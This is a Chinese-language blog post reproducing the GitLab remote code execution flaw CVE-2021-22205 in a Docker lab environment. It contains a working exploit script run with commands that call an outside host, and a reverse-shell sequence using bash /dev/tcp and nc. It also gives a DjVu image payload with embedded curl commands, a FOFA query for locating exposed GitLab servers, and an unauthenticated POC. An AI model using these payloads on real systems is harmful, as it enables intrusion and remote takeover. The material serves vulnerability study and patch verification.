首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >GitLab 远程命令执行漏洞复现(CVE-2021-22205)

GitLab 远程命令执行漏洞复现(CVE-2021-22205)

作者头像
亿人安全
发布2022-06-30 15:37:01
发布2022-06-30 15:37:01
8.1K10
代码可运行
举报
文章被收录于专栏:红蓝对抗红蓝对抗
运行总次数:0
代码可运行

一、漏洞描述

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。

二、影响范围

以下版本范围内的 GitLab(CE/EE)受到漏洞影响:

代码语言:javascript
代码运行次数:0
运行
复制
11.9 <=  GitLab(CE/EE)< 13.8.8
13.9 <=  GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

三、fofa搜索

自己人不打自己人

代码语言:javascript
代码运行次数:0
运行
复制
title="GitLab"

页面长这样

image-20211102092216930

四、环境搭建

代码语言:javascript
代码运行次数:0
运行
复制
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d

docker配置中设置的端口映射到本地的8080端口,bp开着的记得换一下端口

环境启动后,访问http://127.0.0.1:8080即可查看到GitLab的登录页面

image-20211102154432735

五、脚本复现

1 下载工具

代码语言:javascript
代码运行次数:0
运行
复制
https://github.com/Al1ex/CVE-2021-22205

git到本地,由于执行命令无回显,可以使用dnslog外带回显结果

代码语言:javascript
代码运行次数:0
运行
复制
http://dnslog.cn/

获取一个dnslog的url,替换到脚本里面

image-20211102161540518

image-20211102161638995

开始唆

2 检测漏洞是否存在

代码语言:javascript
代码运行次数:0
运行
复制
python3 CVE-2021-22205.py -v true -t http://10.0.1.12:8080/

image-20211102161900299

3 命令执行

试一下先,不知道为什么我这里没有dnslog回显

代码语言:javascript
代码运行次数:0
运行
复制
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "curl http://4.xx.xx.6/1.txt"

image-20211102162200134

但是服务器可以看出已经成功执行

image-20211102162243798

4 反弹shell

代码语言:javascript
代码运行次数:0
运行
复制
# 写入反弹shell脚本
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "echo 'bash -i >& /dev/tcp/4.xx.xx.6/6666 0>&1' > /tmp/1.sh"
# 给执行权限
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "chmod +x /tmp/1.sh"
# 服务器监听6666端口
nc -lvnp 6666
# 运行,获取git权限shell
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "/bin/bash /tmp/1.sh"

image-20211102162743402

image-20211102213550299

六、手工复现-有授权

1 上传点

vulhub截止到今天2021.11.2,我今天拉的docker,gitlab环境有点问题,注册账号需要管理员审核,但找不到管理员账号密码。。。

换vulfocus靶场,搭建之后访问,会跳转到设置密码的页面,设置root新密码就可以登录啦,页面长这样

image-20211102172744884

搞个普通用户复现漏洞,注册ch4nge用户

登录后到个人主页,找到Snippets,新建

image-20211102201740899

此处需要上传DjVu格式图片(即Exp)

image-20211102201936387

2 DjVu格式图片制作方式

下载安装DjVuLibre地址

代码语言:javascript
代码运行次数:0
运行
复制
http://djvu.sourceforge.net/

准备好将要压缩图片的文本

代码语言:javascript
代码运行次数:0
运行
复制
(metadata
 (Copyright "\
" . qx{curl cc.n443pb.dnslog.cn} . \
" b ") )

生成Exp

代码语言:javascript
代码运行次数:0
运行
复制
djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg

image-20211102203205714

3 上传Exp

image-20211102203859540

虽然报错,但是已经执行了命令

image-20211102203927038

将恶意代码修改为远程访问文件试一下

代码语言:javascript
代码运行次数:0
运行
复制
(metadata
 (Copyright "\
" . qx{curl http://4.xx.xx.6/1.txt} . \
" b ") )

image-20211102205014094

4 命令执行

成功执行,之后没必要一次次生成文件了,上传文件的时候使用burpsuite抓包,直接在包里改命令就好

image-20211102211355774

image-20211102213342552

七、手工复现-未授权

有些gitlab是没法直接注册用户使用的,这就用到未授权获取cookie。POC都是我登录账号之后抓的

1 获取cookie

使用登录页面返回的 Cookie 值和 csrf-token 值

POC

代码语言:javascript
代码运行次数:0
运行
复制
GET /users/sign_in HTTP/1.1
Host: 10.11.1.120:8020
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close


image-20211102211623804

image-20211102211645904

2 RCE

使用登录页面返回的 Cookie 值和 csrf-token 值,成功实现 RCE。

image-20211102211913301

image-20211102213447050

3 POC下载

文件下载

https://change.lanzouw.com/iJySRw2kr8j 密码:love

下载后导入bp的重放器,改host就行

image-20211102212604909

image-20211102212619680

image-20211102212640984

八、解决方案

升级到最新版本。

要更新 GitLab,请参阅更新页面。要更新 Gitlab Runner,请参阅更新 Runner 页面。

九、参考

https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/

https://github.com/Al1ex/CVE-2021-22205

https://blog.csdn.net/smellycat000/article/details/121005824

https://www.wangan.com/p/7fygfydb5d6d0c1e

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-11-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、漏洞描述
  • 二、影响范围
  • 三、fofa搜索
  • 四、环境搭建
  • 五、脚本复现
    • 1 下载工具
    • 2 检测漏洞是否存在
    • 3 命令执行
    • 4 反弹shell
  • 六、手工复现-有授权
    • 1 上传点
    • 2 DjVu格式图片制作方式
    • 3 上传Exp
    • 4 命令执行
  • 七、手工复现-未授权
    • 1 获取cookie
    • 2 RCE
    • 3 POC下载
  • 八、解决方案
  • 九、参考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档